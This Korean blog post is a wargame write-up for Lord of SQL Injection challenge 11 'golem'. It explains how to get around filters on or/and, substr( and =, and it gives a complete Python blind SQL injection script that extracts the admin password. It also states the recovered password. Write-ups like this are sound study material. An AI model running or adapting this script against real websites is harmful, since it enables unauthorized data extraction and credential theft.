Today I Learned …
[Lord of SQL Injection] 11번 golem 풀이 본문
* 개인적인 공부 내용을 기록한 글입니다.
이전 문제
https://choco4study.tistory.com/98
11번 문제 golem 분석 및 풀이
11번 문제는 다음과 같다.
이번 문제에서는
① or/and
② substr(
③ =
를 필터링하고 있다.
또한 근본적으로는 pw를 알아야 풀 수 있는 Blind SQLi 문제이다. (∵ addslashes)
이전에 써먹었던 자동화 코드에 필터링 우회를 적용해주면 될 것 같다.
먼저, 자동화 코드의 check_length()를 다음과 같이 수정해준다.
def check_length(url, cookie, param_name):
head = {"PHPSESSID":f"{cookie}"}
print("대상 문자열의 길이를 확인중입니다..")
for num in range(0,30):
param=f"?{param_name}=' || id like \"admin\" %26%26 length({param_name})>{num} %23"
my_url=url+param
res=requests.get(my_url, cookies=head)
if("Hello admin" not in res.text):
return num
① or → ||
② and → %26%26
③ = → like (문자열 일치 확인)
④ = → > (ASCII 대소 비교)
⇒ 숫자를 점점 올려가며 비교하기 때문에, 최초로 Hello admin이 뜨지 않는 경우가 곧 아스키가 일치하는 경우이다.
다음으로는 blind_sqli()를 다음과 같이 수정해준다.
def blind_sqli(url, cookie, param_name, length):
head = {"PHPSESSID":f"{cookie}"}
ans=""
for len in range(1, length+1):
print(f"{len}번째 문자에 대해 검색중입니다..")
for ran in range(32,127):
param=f"?{param_name}=' || id like \"admin\" %26%26 ascii(substring({param_name},{len},1))>{ran} %23"
my_url=url+param
res=requests.get(my_url, cookies=head)
if("Hello admin" not in res.text):
print(f"{len}번째 문자 → {chr(ran)}")
ans+=chr(ran)
break
return ans
① or → ||
② and → %26%26
③ substr( → substring(
④ = → like (문자열 일치 확인)
⑤ = → > (ASCII 대소 비교)
⇒ 마찬가지로, 숫자를 점점 올려가며 비교하기 때문에, 최초로 Hello admin이 뜨지 않는 경우가 곧 아스키가 일치하는 경우이다.
수정된 Python 자동화 코드의 전문은 다음과 같다.
import requests
def check_length(url, cookie, param_name):
head = {"PHPSESSID":f"{cookie}"}
print("대상 문자열의 길이를 확인중입니다..")
for num in range(0,30):
param=f"?{param_name}=' || id like \"admin\" %26%26 length({param_name})>{num} %23"
my_url=url+param
res=requests.get(my_url, cookies=head)
if("Hello admin" not in res.text):
return num
def blind_sqli(url, cookie, param_name, length):
head = {"PHPSESSID":f"{cookie}"}
ans=""
for len in range(1, length+1):
print(f"{len}번째 문자에 대해 검색중입니다..")
for ran in range(32,127):
param=f"?{param_name}=' || id like \"admin\" %26%26 ascii(substring({param_name},{len},1))>{ran} %23"
my_url=url+param
res=requests.get(my_url, cookies=head)
if("Hello admin" not in res.text):
print(f"{len}번째 문자 → {chr(ran)}")
ans+=chr(ran)
break
return ans
if __name__ == "__main__":
print("💘 Blind 공격을 시작합니다")
url=input("URL을 입력하세요:")
cookie=input("cookie를 알려주세요:")
param_name=input("파라미터의 이름을 알려주세요:")
length=check_length(url, cookie, param_name)
print(f"👏 {param_name}의 길이는 {length}입니다.")
ans=blind_sqli(url, cookie, param_name, length)
print(f"👏 {param_name}의 정체는 {ans}입니다!")
exit
다음은 해당 코드의 실행 결과다.
Blind 공격 결과, admin의 pw는 77d6290b 임을 알 수 있다.
답을 넣어보면,
11번 문제가 풀린다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
[Lord of SQL Injection] 13번 bugbear 풀이 (0) | 2021.12.09 |
---|---|
[Lord of SQL Injection] 12번 darkknight 풀이 (0) | 2021.12.09 |
[Lord of SQL Injection] 10번 skeleton 풀이 (0) | 2021.12.08 |
[Lord of SQL Injection] 9번 vampire 풀이 (0) | 2021.12.08 |
[Lord of SQL Injection] 8번 troll 풀이 (0) | 2021.12.08 |
Comments